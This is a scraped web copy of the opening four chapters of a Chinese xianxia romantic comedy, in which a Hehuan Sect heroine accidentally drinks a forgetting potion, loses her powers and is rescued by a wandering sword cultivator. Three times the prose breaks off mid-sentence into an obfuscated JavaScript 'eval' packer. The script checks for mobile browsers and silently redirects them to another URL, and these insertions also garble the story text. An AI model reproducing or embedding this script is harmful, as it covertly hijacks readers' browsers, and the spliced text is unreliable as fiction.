《合欢宗海王喝了忘情水》 1. 忘情水 “小女愿以全部修为交换,与佛子静澜不相识、不复见。” …… 合欢宗,落霞峰。 时近十月,宗中热了又冷,冷了又热,落霞峰的丹神花被骗得开了两回,满峰都是红艳艳的花瓣。 点着熏香的屋子里,阿半取了件藕粉色的衣裙,对盘腿坐在垫子上、沉浸地捧着灵镜的红衣女修说: “少宗主,此次前往极乐宗就穿这件吧。” 苍黎抬眸瞧了眼裙子,说:“换件绿的来。” 阿半说:“魔君说您穿粉色好看。” 苍黎不依,固执地说:“我想穿绿的。” 阿半只好将粉色衣裙放回去,重新取了条碧色的。 合欢宗少宗主苍黎,脸生得好看,穿红衣美艳,穿粉衣娇嫩,穿碧衣清新……就算穿上破麻袋去山下的洛城乞讨,她也是整个城里最楚楚可怜的乞丐,一日之内必能讨得一大碗灵石。九十年前出山历练时,她兜里没有钱,就是这样干的。 阿半找好衣裳,又催了两回,苍黎才恋恋不舍地放下灵镜,去换衣裳。 灵镜并非普通镜子,而是出自炼器阁的法宝,拥有灵力之人,可通过灵镜相互沟通、吵架甚至约架。千年前的多方混战不了了之后,修界众生的关系越发“融洽”,时常在灵镜中称兄道弟、撕破脸皮、勾肩搭背、尔虞我诈、集体吃瓜。 就在此时,苍黎的灵镜叮咚响了一声。 “阿半,看看是谁找我。” 阿半拿起灵镜,看了一眼:“叶小阁主,他想见您,此时人就在宗门外。” “叶永思?”苍黎毫不犹豫地说,“不见,让他滚。” 叶永思时年百岁,年纪虽轻,但无人敢小觑他。 因为他是以无情道佐剑道、成就大乘境界的剑尊叶温明的徒弟。 如无意外,叶温明飞升或赴劫后,叶永思将继承他师尊的衣钵,成为东境天剑阁的下一位阁主,也是修界的下一位剑尊。 苍黎为师姐寻忘情花时,与叶永思在秘境相识。 叶永思自此情根深种,对苍黎展开了大胆的追求。 “少宗主,你为何如此抵触他?” 阿半不解,问, “合欢道与剑道、无情道功法相合。叶永思既持剑,也曾修习无情道,与他双修,您事半功倍。宗中男女,常常致力于寻找愿意双修的无情道修士,但寻而不得,您拥有如此机缘,却……” 苍黎脚踏多条船,端水一向平稳,喜怒无常和欲拒还迎是她的拿手把戏。 但唯独对叶永思,苍黎态度坚决——拒绝,厌恶,嫌弃。 修界猜测,苍黎又在钓鱼了。 “阿半,鸡鸭鹅养肥,是用来宰的。” 苍黎身着碧色浣纱衣裙,从屏风后走出来,说, “无情道修士的深爱之人,是杀来证道的。” 阿半寻思片刻,说:“我觉得他应该不会杀您证道。” 苍黎问:“为何有这种想法?” “剑尊嫌叶小阁主不思进取,将他逐出师门了。” 阿半将灵镜递向苍黎,说, “他是来投奔您,求收留的。” 苍黎:“……” 苍黎缓了半晌,说:“剑尊不是就他一个徒弟吗?” 外门弟子是牛马,内门弟子是高级牛马,亲传弟子是宝贝。剑尊一大把年纪,就这么一个徒弟,那自然是宝贝中的宝贝疙瘩。而且如今修界灵气稀薄,有天赋的人少之又少,叶永思这样的说是万里挑一都有点谦逊了。剑尊竟然把他逐出师门了? 那他的道和他的剑谁来承袭? 苍黎掐了自己一把。 疼,不是做梦。 阿半又说:“天剑阁说,剑尊御剑离开了,朝着合欢宗的方向来的。” “给叶永思点钱,让他随便找个客栈落脚……别以我的名义给。”苍黎接过灵镜,抬步往外面走,“我这次出门,短时间内就不回来了,有人问起我的行踪,就说我帮师姐寻仙草去了。” 苍黎想,自己要是剑尊,就干脆杀穿合欢宗—— 这该死的西境宗门,宗里一群色鬼,一天到晚正事不干一点,满脑子想着怎么勾搭天剑阁的剑修,毁了他们的修行,灭了算了。 苍黎正要飞走,却见一抹熟悉的艳红进入了合欢宗禁制,直奔落霞峰隔壁的紫烟峰而去。 苍黎当即调转方向,追向那抹艳红。 合欢宗的弟子,穿红衣的多得很,但能出入紫烟峰的人,拢共也就那么几个。此时正赶往紫烟峰的不是旁人,正是紫烟峰的主人,也是苍黎的师姐,合欢宗宗主的四徒弟,苍月。 宗主一共七个徒弟,但在世的仅有排第四的苍月和排第七的苍黎。 苍黎有六个师姐,但她认识的只有苍月。 另外五人早在苍黎进入师门前,就因为各种各样的原因陨落。 师姐苍月,可以说是苍黎在这世上最亲近的人之一。 苍黎追着苍月来到紫烟峰,却被峰上的禁制阻住,无法入内。苍黎也不离开,即便知道自己今夜和魔君有约,也坚持一遍又一遍叩着紫烟峰的禁制,等待师姐放她进去。 就算失约,她也得见师姐。 上次见面时,苍月给她买了点心,看她吃完,而后不辞而别。苍月这一走就是三年,杳无音信。合欢宗找遍修界,不见苍月踪迹,发布悬赏,也无人回应。苍黎去了万佛山,提着佛子静澜的领子,也没问出个所以然。 如今师姐回来了,苍黎得看看她、问问她,好是不好。 苍黎叩着禁制,而苍月不应。 就在苍黎打算强解禁制时,一个眉目艳丽而成熟的女修来了。 苍黎恭敬道:“师父。” 这是苍黎和苍月的师父,合欢宗宗主,苍楚。 苍楚抬手,紫烟峰禁制出现了足够一人通过的空隙,她慈和地对苍黎说: “我进去瞧瞧。” 说完,苍楚进入了紫烟峰。 苍黎等在外面,她拿出灵镜,联络身处极乐宗的魔君。 苍黎:【我晚点到。】 魔君:【好。】 魔君:【宗中备了你爱喝的甜酿。】 魔君:【这几日待在极乐宗吧,本君不怕叶温明。】 苍黎从傍晚等到月上中天,苍楚终于从紫烟峰出来。苍楚面色如常,但苍月总觉得,师父的眼睛里含带着什么情绪,很沉重。 苍楚对苍黎说:“进去看看她吧。” 苍黎终于如愿进入紫烟峰,见到了三年未见的师姐。 修炼之人长生不老,三年的时间,难以在苍月身上留下痕迹。 但是苍黎仍然看出了不同。 坐在院落中的师姐面带泪痕,一杯又一杯地斟酒,情绪失落。三年前,师姐也常常是失落的,但那时她身上有种难以自抑的疯狂,还有不愿放手的执着。 苍黎知道,那种疯狂和执着名叫“爱”。 丑陋的,疯狂的,不堪的爱。 合欢宗宗主的四徒弟苍月,对万佛山佛子静澜情根深种,爱之入骨,为其痴狂,甚至走火入魔,道心毁坏。 而佛子静澜…… 不染红尘之人犹如磐石。 苍月也韧如芦苇,可终究,没韧过这块石头。佛子软硬不吃,无悲无喜,一遍又一遍劝她放手,数百年如一日,坚硬苍白得令人绝望。无论苍月如何努力,也没能撼动他分毫。 两人的事,在修界是人尽皆知的事情,苍黎在年幼时就有所听闻,入门后更是看尽了苍月的丑态。 苍黎年纪更小,却取代师姐成为了合欢宗的少宗主,也与此有关。 现在的师姐仍然很失落,却不见三年之前的疯狂和执着了。 苍黎不知道发生了什么。 这是好事吗? “小七。” 苍月对落在院落中的苍黎说, “过来,陪我喝酒。” 苍月面前的石桌上,摆着三个杯子。一个是苍月自己的酒杯,一个是师父刚刚用过的,还有最后一个,盛着水液,倒映出的月影,在微风之中摇摇晃晃。 苍黎拧着眉,唤道:“师姐……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096375|195626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“来,坐下,喝酒。” 苍月面带醉意,一边笑,一边落泪, “我知道,你今夜有约。但还是推一推吧,陪我喝酒,喝完了再去。我知道,你酒量好,不会醉的。” 苍黎很想问她究竟遇到了什么事。 但苍月好像醉了。 等之后再问也是来得及的。 不急,修炼之人,从来不缺时间。 苍黎在苍月对面的石凳上坐下,拿起石桌上盛着水液的杯子,和苍月碰了碰杯,便仰起头,一饮而尽。 过了不到两刻,苍月醉倒了。 她趴在石桌上,呼呼大睡。 苍黎把她拽起来,用身体撑着她,将她送回了屋子里,放在榻上,又盖好被子。她离开屋子,离开紫烟峰,朝着西境最西侧的极乐宗飞去。 她拿着灵镜,给魔君发灵讯: 已经在路上了,不久便…… 灵讯尚未发出,苍黎脑袋一懵,灵力迟滞,飞行的法术难以维持,连人带灵镜一起从高空掉了下去。她落入下方的河流中,像凡人一样呛了水,被水推着,朝东方漂去。 苍黎的意识彻底断裂,视野黑沉。 次日,苍月醒来。 她扶着疼痛的脑袋坐起来,穿上鞋往院子里走,走着走着,就觉得有什么不对。 她怎么还记得静澜? 修为好像还在?给她药的人说过,她的修为一定会丧失。 昨夜她打算先喝酒喝醉,缅怀一下即将死去的爱情,就把忘情水倒进另一个酒杯,放在一边了,然后…… 完了。 半日后,合欢宗发布通告: 【合欢宗少宗主苍黎误服忘情灵药,人已离开宗门,不知去向。请有消息者立刻通知本宗,本宗愿意重金酬谢。】 整个灵网都疯了。 【卧槽!】 【苍黎是谁?】 【楼上是认真的吗?】 【苍黎,合欢宗宗主苍楚座下弟子,排行第七,已经确认是下一任宗主。今年一百零八岁,元婴期大圆满,女的,合欢宗第一钓鱼佬,修界人称海王。】 【忘情水对元婴期有用?】 【人家说是忘情灵药,又没说是传统的忘情水。可能是搞出来了新配方?】 【海王八岁入宗,十八岁出山试炼,在秘境待了七天,中了一天不睡人就会爆体而亡的情毒,为了活命连斩六男。那个破毒还会导致脸盲,离开秘境后为了登记自己的好成绩,发帖寻找睡过的男修。因为秘境里还有别的合欢宗妖女,海王为了方便被睡的男修辨认她,在贴子里解说了各种姿势和地点,过于炸裂,一贴轰动西境。】 【东境也轰动了。】 【保守的东境哪里见过这种妖女?】 【进秘境时刚刚筑基,出秘境时已经结金丹了,这修炼效率,谁懂啊?】 【据说是睡了七个,但是最后只找到六个。摊手。】 【出来之后,合欢宗宗主一看此女骨骼清奇,收为关门弟子。要知道收苍黎前,合欢宗宗主已经二百年没收徒了。】 【宗主是真的需要个好用的徒弟……】 【这一收收到海王了,钓完魔君钓鬼王,钓完鬼王钓妖皇。如今世道,大乘期确实比以前多了一点,但还是很稀少。她一己之力钓了三个!三个啊!】 【最绝的是被钓的三个都知道另外两条鱼的存在,而且还和平共处……至少表面是和平的,没有撕上家门。】 【什么端水大师?】 【那么问题来了——】 【合欢宗还能把海王找回去吗?】 【那三个应该也不在乎吧,双修嘛,和谁不能修?有必要为了一合欢宗妖女撕破脸吗?】 【我极乐宗的,魔君已经疯了。】 【我合欢宗的,鬼王已经找上门了。】 【哇,鬼王不是说白天不出门吗?】 【妖皇还在闭关,还不知道外面发生了什么,北域现在还比较平静。坏消息是,妖皇明天就出关了,疯病该发作了。北域群妖正在收拾细软准备撤离。】 2. 我没下毒 苍黎再醒来时,只见周围河里奔涌,苍松遒劲,山峰在缭绕的云雾间起伏。 她还记得自己掉进了洛河。 洛河从西到东,贯穿东西两境后入海。 所以她现在在什么地方?不会被河水冲到东境了吧? 苍黎挣扎着坐起身,她此时像个疯婆子,衣物潮湿脏乱,发髻完全散开,头发一缕一缕的、纠缠在一起,身上很疼,应该是受伤了。她试着用法术打理自己,但掐了手诀后,她依旧凌乱,万物寂静,一点反应都没有。 苍黎不敢置信地又掐了一遍手诀。 还是没有反应。 她失去法力了。 苍黎翻找自己身上的东西,灵镜丢了,合欢宗弟子玉简也没了,就连乾坤袋也不知去处。 老天奶啊!没有法力,不能飞,没有传讯法器,没有办法喊人来救她!她要怎么做,才能从这山里走出去,回到合欢宗啊?! 苍黎抓狂片刻,叹了口气,重重地躺回地上。 没力气,头疼头晕,肚子饿……为什么会饿呢?就算没了法力,她也是个元婴期修士,总不能修为也倒退回凡人时期了吧? 躺了许久后,苍黎侧头,看见有人从松林朝这边走来。 那人身着白衣,看起来还是青年,面貌俊美,但清丽眉目间却带着拒人于千里之外的霜雪气,还有些苍黎读不懂的沧桑。 不过,苍黎莫名想起一句诗—— 除却君身三尺雪,天下谁人胜白衣。 这白衣青年应当是个修士。 他走起路来,一丝一毫的声息都没有,轻盈得不可思议。倘若此地白雪皑皑,他踏过的路上,应当连脚印都不会留下。 这绝对不是凡人能做到的事。 他是哪里的修士呢? 苍黎安安静静地看着他走近。 他很平静,走近后,指尖凝聚寒光,轻轻一指,一堆木柴出现,落了一地。除了木柴,还有两只浑身是血的禽鸟。 那木柴在术法的操纵下自己叠成一堆,被法术点燃。 禽鸟也被拔了羽毛,穿到削尖的木棍上,架在火堆上。 他低下头,与苍黎对视片刻,才终于开口: “你是何人?有何冤情?为何投水?” “不记得了。” 苍黎轻轻闭上眼睛,问, “是阁下救了我吗?” “不算救,只是从河里捞了你。” 修士话语一顿,补充道, “又给你喂了两粒丹药,多年前的老药,不知还有无药效。” 得了,看来是个老修士。 修真界一向是人不可貌相,有不少修士长得像孙子,年纪是老子。比如眼前这位,苍黎直觉他的年纪应当已经在二百岁开外了……但也不绝对,毕竟修界广阔,肯定会有些少年老成的孙子。 苍黎问:“那……此地是?” 苍黎知道自己肯定在洛河流经的地方,但她不确定自己在河里漂了多久,所以不知道自己此时到底是已经到东境了,还是在西境和东境中间。 修界分为西境和东境。 西境修行门派、家族众多,除了合欢宗、极乐宗、北域和幽界这种遍布妖魔鬼怪的门派,还有万佛山、药王谷等正派宗门。西境也有凡人,但大多身份贵重,身具修炼资质。 而东境,只有两个门派,一是云海仙门,二是天剑阁,全是正道。还有凡界,东境凡界灵气稀薄,凡人当中,没有修行资质的平庸者占据绝大多数,经常有灾祸,苦不聊生。 所以,西境与东境,又被称为上界和下界。 修士回应道:“不知道,我迷路了,但应该还在东境。” 苍黎:“……?” 迷路不是很糟糕的事情吗?怎么这么平静啊? 他是东境的修士吗? 云海仙门的?还是天剑阁的? 苍黎将求救的请求咽下。 不管是云海仙门的还是天剑阁的,必然是正道修士。要是云海仙门的,还能谈一谈。要是天剑阁…… 天剑阁阁主,乃是当今无情道第一人,剑尊叶温明。 他的徒弟叶永思因苍黎深陷于情,被他逐出天剑阁。 这仇可大了。 阿半说,叶温明已经离开天剑阁,往西来了。 很可能是来算账的。 ……剑尊应该已经到西境了吧?合欢宗还好吗? 苍黎客气地打探:“阁下如何称呼?” “叶……明。”修士目光落在苍黎身上,“你呢?” 叶?天剑阁的?他为什么没有拿剑?是放在乾坤袋里吗?为了隐藏自己的身份?可是一个修士在东境说自己姓叶,跟自报家门有什么区别? 苍黎还不忘维持失忆设定,摇摇头,迷茫地说:“忘了。” 失忆啊!必须失忆! 在天剑阁修士面前说自己叫苍黎,那不是找死吗? “你是凡人,但身具仙资。” 叶明语气平淡,有条不紊地分析道, “你多半是西境人。我在西境没什么人脉,无法帮你寻亲,送你到药王谷,由他们帮你医治失忆之症,并帮你寻亲,行吗?” 别说送她到药王谷,现在就撇下她直接走也没问题。 话说,她是凡人? 她失去法力,真的是因为修为没了? 这情况,确实是得找药王谷医治的……等到了药王谷,也正好能找到认识的人,帮她给合欢宗递信,让合欢宗派人来接她。 苍黎说:“那就多谢叶仙长。” 叶明沉默半晌,开口道:“但现在有一个很严重的问题。” 苍黎问:“什么问题?” 叶明说:“我迷路了,走不出这里。” 苍黎:“……” 苍黎终于忍不住了:“叶仙长未曾在外历练过吗?” 叶明:“有。” “当时是如何认路的?” 叶明不说话了。 苍黎肚子咕咕叫了两声。 叶明握住木棍,将一只烤鸟从火堆上拿起来,递向苍黎,问: “自己能吃吗?” “能,多谢。” 苍黎坐起来,接过木棍。 禽鸟被烤得表皮橘红,看起来非常美味。 苍黎咬了一口,咀嚼两下,表情木然,眸光涣散,道: “我本以为,叶仙长是正派之人,没想到,竟在食物中下毒,如此卑劣行径,枉为……” “我没下毒。” “那怎么这么难吃?” “……” 半个时辰后,苍黎抓着枯萎的藤蔓,将上面的浆果摘下来吃。她吃了好些浆果,才勉强饱腹。 苍黎回头看向叶明。 叶明沉默地面对着烤鸟,满脸“费解”,不明白自己猎来、烤熟的食物,为何如此难吃?他刚刚也尝了一口,硬着头皮嚼了很久,愣是没咽下去,吐了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096376|195626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他不信邪地又尝了一口。 yue—— 日轮西去,山间缭绕的云雾也散去些,抬头时,能够望见被灼成赤金色的云霞。 有人从河对面路过了。 那是个身形健壮的男子,穿着干练的粗布衣裳,背后的框篓里有弓箭、斧头、长刀等等器具,还有许多木柴,瞧起来是个刚打过柴的猎户。 猎户一眼就瞧见河对面火堆旁的苍黎和叶明,一个仙气飘飘,一个乱七八糟,他心里忍不住犯嘀咕,这到底是个什么情况? 犹豫片刻后,猎户还是开口了: “姑娘!公子!你们遇到什么麻烦了吗?” 苍黎赶紧抬高声音,以免/流水的声音遮蔽了自己的话语,她大喊道: “我们迷路了!这位大哥,可否帮我们指个路?” “当然行——” 猎户又抬头看看太阳,说, “但太阳快要落山了,山里的夜晚危险,除了豺狼虎豹还有山鬼,大家都不在夜里出门的。而且,我明日正好要去城里卖猎物,两位不如今晚到我家将就着住一宿,明天与我一起去城里。尤其是姑娘,擦洗一下,换身干净衣裳吧。” “我媳妇应当已经做好了饭,现在赶回去,正好吃上刚出锅的。” 叶明想拒绝。 苍黎一把拉住叶明,对猎户说: “那就麻烦大哥和嫂子了。” 她实在是太想吃口正儿八经的热乎饭了,哪怕只是一碗糙米粥,或是一碗面疙瘩,她也想吃。 苍黎强拖着叶明,跟着猎户往家里走。 猎户自称杨展羽,虚岁三十二,已经成家,有一双龙凤胎,家里虽不富裕,但他自认人生已经十分幸福圆满。 这里是灵云山,杨展羽就住在灵云山东南一处用篱笆围起来的小院里,两个养得白白胖胖的孩子就扑上来。 院子里还养了两只看家护院的狗,一见生人,汪汪汪汪叫个不停。 杨展羽腾不出手去揍狗,只能骂: “行了别叫了别叫了!” 这时从屋里传出女人的声音: “再叫吃狗肉了!” 狗叫声瞬间安静下来。 系着围裙的妇人也从屋里走出来,瞧见杨展羽背后的苍黎和叶明,问, “带客人回来了?” 杨展羽摸着两个孩子的脑袋,抬头对妻子说了苍黎和叶明的情况,问: “能留他们在咱家住一夜吗?” 叶明赶在玉珏答话前,说: “我会付钱,不白吃白住。” 说着,他伸手在乾坤袋里摸了两圈,表情逐渐变得木然。 ……没钱。 目睹了一切的苍黎:“……” 没错!是剑修!这个叶明绝对绝对是剑修!!这世上的修士只有剑修才这么穷!而且看他如此寡淡模样,多半是个无情道修士! 退!退退退——! 真特么晦气!莫名其妙失去修为从天上掉下来,莫名其妙被洛河冲到东境,莫名其妙被无情道剑修捡到! 她最讨厌的就是佛修和无情道修士了! 但她觉得,被无情道修士捡,还不如被佛修剪。佛修出家人慈悲为怀,捡到她只会帮她救她。而被无情道剑修捡到,她合欢宗妖女的身份一暴露,说不定会被砍成臊子! 老天奶啊——!这就是她上个月在祖师祠堂看到一盘葡萄,没等供香烧完就随手摘了两颗吃掉的惩罚吗? 3. 画大饼 “没关系,不用给钱的。” 玉珏把苍黎和叶明迎进屋子里,道, “羽郎,你先带仙长和孩子们吃饭,我带姑娘去收拾收拾。” 玉珏烧了水,与井中凉水兑成温热的,用干净的布替苍黎擦身子、洗头发。苍黎很狼狈,用了好几盆水,才把自己擦干净。 玉珏找来了自己的衣服,说: “姑娘,你原来那身衣服破得太厉害,我也不知道怎么修补那样的好布料,只能委屈你先穿我的衣服了。这衣服我前几天刚洗过,洗得很干净。” 苍黎接过衣服,布料远没有她平时的衣服那样软滑,略带些粗糙质感,但也还算舒服,而且能衣服上有皂角香,那是种清新又安神的气味。 “这个就很好,谢谢嫂嫂。” 苍黎将衣服穿好,头发也用一根筷子挽起来。 现在的她她远不如涂粉抹脂时艳丽、荡人心魂,但也有种文静秀雅的美,人们见了她一眼,就忍不住在心里去回味,再偷偷去看第二眼…… 苍黎跟着玉珏去桌边吃饭。 两个孩子已经吃完,被杨展羽带去哄睡了。此时桌边就只剩下一个叶明,他不吃饭菜,只是用一手端着茶碗,喝着猎户家的碎茶叶泡出来的茶汤,另一只手拿着灵镜。 苍黎看得手指发痒,要不是自己法力尽失,根本驱动不了灵镜,她一定扑上去把叶明手中的灵镜抢过来自己玩。 药王谷谷主:【你在哪?】 叶明:【迷路了,不过已经找到愿意带路的人了,明天或者后天就到药王谷。】 药王谷谷主:【明天?后天!药王谷可能今晚就要被围了!】 叶明:【被谁围了?为什么要围药王谷?】 药王谷谷主:【苍黎那小妮子不小心喝的忘情水,她那群姘头都来了!一群妖魔鬼怪啊!】 药王谷谷主的委屈要从文字里溢出来了:【可研究此药,并把药给出去的是我那曾师祖药圣!这死老登一向是神龙不见首尾,我们有事的时候谁也找不到他!他惹事的时候整个药王谷替他背黑锅!】 药王谷谷主:【快来救我!】 叶明:【我暂时走不开,你自己想想办法。】 药王谷谷主:【我要是有办法,我来求你这个疯子干嘛?】 叶明:【撑住。】 药王谷谷主:【叶温明!我撑你¥@###……】 污言秽语还没全部露出来,叶明干脆利落地趁着双眼还没被脏到,关掉灵镜。 杨展羽回来了。 玉珏问:“孩子睡了吗?” “睡了。”杨展羽又问,“你吃好了吗?” “嗯,刚吃饱。” 玉珏站起身来,从杨展羽身侧走过去,温柔地拍了拍丈夫的肩膀,说, “我去守着孩子们,你好好吃饭。” 苍黎不解地看着玉珏。 直至玉珏走出视野,无法进一步追随的目光才回到饭桌上,落在和玉珏、孩子们一样属于这个家庭的杨展羽身上。 叶明又倒了一碗金灿灿的茶汤,问: “你丢失的记忆和他们有关?” 苍黎不明白他为什么会这么问。 叶明放下茶碗,淡淡地问道: “那你为什么要一直盯着这家的主人和夫人看呢?” 杨展羽脸上露出错愕来,他完全没察觉自己被苍黎盯着看了。他想,自己一个大男人,不怕看的,看就是了,他不介意,只是多少会有点莫名其妙的感觉就是。 但是,如果妻子玉珏也被盯着看…… 杨展羽脸上带点愠色,问: “姑娘,你为何如此?” 身为猎户的杨展羽又高又壮,打虎对他而言兴许也不在话下。他问问题的时候是站着的,高出坐在板凳上的苍黎一大截,相当有压迫感。 苍黎没有慌乱,只是问他: “杨大哥,你家娃娃几岁了?” 杨展羽没有回答。 不回答也没关系,他家娃娃的年纪,苍黎在来时就观察了个大概。 叶明突然开口替杨展羽回答:“五岁。” 苍黎向叶明投去感激的一眼,又问: “都已经五岁了,还要父母时时刻刻都陪伴着吗?白日里也就算了,睡着了也需要一直陪着吗?” “你们到底在防备什么?山贼拐孩子?你白日外出打猎时,你的夫人根本无法从山贼手中护下她自己和孩子们。” 杨展羽为难地左看看右看看,一位东境仙人和一个失忆的姑娘的组合似乎也不怎么靠谱……但他和玉珏短时间内攒不出带孩子搬下山的钱,还要在山里住一段时日,今日很有可能近几年里唯一一次解决忧患的机会了。 “叶仙长,姑娘。” 杨展羽朝两人作揖,道, “此地名为灵云山,山中有山鬼。传闻此鬼是孩子所化,十分惧怕大人的殴打斥骂。山鬼经常趁着大人不在,化作孩童模样,引孩子出来玩,将孩子害死。” “孩子死后,山鬼的灵魂得到解脱,消散天地,被杀死的孩子的鬼魂则成为新的山鬼,继续在山中作恶。” 山鬼? 苍黎以前把这东西叫作山魅。 “孩子小的时候,不会爬不会走,就算山魅故意诱惑,他们也出不了家门。” 杨展羽眉眼间尽是疲倦, “但现在孩子五岁了,皮得很,会跑会跳会爬窗户,好奇心重,不听话,若不仔仔细细盯着,只怕会马上被山鬼诱走。” 苍黎一直都觉得养孩子很累。 连看别人养孩子都觉得累。 妖皇那王八蛋还趁着她情迷意乱时问她要不要生一个,她当场就清醒了,一脚把他踢进了悬崖下的冰湖里,让这只处于发情期的白狐狸好好冷静冷静。 叶明不急不慢地问: “山里还有其他鬼怪吗?” “有,应当是有的。” 杨展羽将自己知道的全盘托出, “灵云山脚下的云城里有很多大户人家,这些人家经常会打死婢女和小厮,卷个席子就抬进灵云山草草埋了。” “我尚未娶妻时为了赚钱,常常冒险夜猎,有一夜在认识路的林子里怎么走都走不出来了,一开始还能看见路,后来看不见了,就只能硬着头皮继续走……我爬了好几座不存在我记忆里的土坡,浑身都是湿泥,那时还听见凄厉的哭声和惨叫声。我吓坏了,磕了三个头,允诺之后会来这里烧纸钱,才终于遇到出门找我的老爹。” 回想起当年的杨展羽擦了擦额上的冷汗,说:“除此之外,山里还有很多魑魅魍魉,只是我还没遇到过……” 一朝被蛇咬,十年怕井绳。 杨展羽是个粗人,但谨慎,从那之后他就再也没夜猎过。 杨展羽向叶明恭敬地作揖: “仙长若有力解决灵云山的怪事,我便在此,代那些怨魂,请求仙长出手。” “若仙长无能为力,请务必在此歇过今晚,明日再走。白天的灵云山,多少会比晚上安全些。” 叶明没有答应,也没有表示拒绝。 火烛的光辉照耀过来,火苗在仙人冰冷的眼眸中摇晃跳动。 半晌,叶明才开口: “杨猎户,你吃饱便去睡吧。” 苍黎看了眼自己早已空了的饭碗,站起身来,准备去玉珏和孩子的那屋挤一挤。 叶明对苍黎说:“你留下。” 苍黎极不情愿地问:“为什么?” 为什么杨展羽能去睡,而她不能? 她现在跟凡人无异,在捉鬼之类的事情上也帮不上什么忙,这个剑修为什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096377|195626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么不让她睡觉?是察觉到了什么吗? 叶明问:“你会打坐聚灵吗?” 苍黎摇了摇头。 她失忆了,打坐这种修炼行为就算再基础,她也不能会,绝对不能会! 为了演得更逼真点,苍黎迷茫地提问: “打坐就是盘腿坐着的意思吗?那聚灵……?什么叫聚灵?” 叶明一副很有耐心的样子,说: “没关系,我可以教你。” 苍黎:“……?” 等等等等! 谁要你教了? 你有问过我愿不愿意修炼吗? 不要突然开始当菩萨发善心好吗!? 好为人师也要有个度啊! 苍黎抓狂的同时,突然想起来一个传闻,说东境剑修特别喜欢捡徒弟,别管天赋好不好,只要有灵根,能拿起剑,就可以成为天剑阁弟子了。 这王八剑修不会还要带她回天剑阁吧?救命啊!她不想去当穷修! 夜深了,杨猎户家的人都睡了。 叶明走在前面,带着苍黎在山中行走,一路走至一处灵气丰裕的地方。 他从乾坤袋里拿出两个蒲团,置于地面。 苍黎好奇地看着乾坤袋,问: “之前这里面还有药瓶……你还在里面掏钱,虽然没掏出来,现在又拿出了蒲团……这么小一个袋子,怎么这么能装?” “这叫乾坤袋,用于携带大量物品。” 叶明又摸出一本纸页泛黄、有些陈旧的《修炼入门》,递给苍黎,问, “你识字吗?” 苍黎当然识字,但叶明给她的这本《修仙入门》上的字,辨认起来却相当困难,十个字她只能猜出七八个。但苍黎能辨别出来,这是千年前的字。 天剑阁怎么回事? 穷到连《修炼入门》这种书都要用一千年前的了吗? 苍黎在叶明期待的目光中摇了摇头。 “我给你读。” 叶明收回书,在蒲团上坐下,并拍了拍另一张蒲团,让苍黎也坐下来。 他翻开书页,耐心细致地给苍黎解释,凡人第一次打坐时要仔细去感受灵气,感受到后,便顺从呼吸的节奏,吸气时将灵气从周围吸进身体,行经身体的每一个部位,并渐渐融合进去,再以呼气吐出浊杂。 这就是聚灵。 随着聚灵,身体将变得结实、强大,内含的灵气也会不断变多,这就是炼气期。 叶明问:“懂了吗?” 苍黎点点头:“懂了。” 叶明起身,顺便收走了他自己的蒲团: “这里的灵气足,你就在这里开始打坐聚灵吧。” 说完,叶明就要走。 苍黎一把抓住他的衣袖,问: “你去哪?” 叶明脸不红心不跳地说: “巡山,斩恶鬼。” “我一个凡人,深更半夜在有魑魅魍魉的深山老林里聚灵,我的处境很危险吧?” 苍黎紧紧抓住叶明的袖子不放,明明都已经咬牙切齿了,但还是努力维持着笑容,问, “叶仙长不留下来保护我吗?” “我怕打扰你修炼。” 叶明一本正经地给出了理由, “我已探过你的根骨,是最好的天灵根,只要你努力修炼,假以时日,必然会踏入大乘期,甚至问鼎渡劫期。” 苍黎:“……” 你他爹的胡扯什么呢?! 信了的话你才有鬼了! 剑尊都还在大乘期呢,叶明竟然给她画起渡劫期的大圆饼了! 叶明似乎是感觉到了苍黎的怀疑,他面色诚恳地点点头,抬起一根手指,故作“我说一事算一事”的姿态,还不忘补上一句: “我是说真的。” 4. 剑尊偷梨 扯袖子是无法阻拦仙人的离开的,叶明脚步一转,身形一旋,连人带袖子消失在了苍黎眼前,只在地上留下两个字—— “聚灵。” 苍黎坐在蒲团上,面无表情地瞪着地上遒劲有力的笔迹。 傻子才听他的! 一个天赋根骨极佳的仙人在妖魔鬼怪眼里是想啃却啃不动的老骨头。 但一个天赋根骨极佳的凡人,或是刚开始修炼的人,在妖魔鬼怪眼里就是香甜软糯的香饽饽,任鬼拿捏的软柿子。 叶明有一点没说错。 苍黎的确拥有着天灵根,水属性的。 她根骨佳,悟性也好。 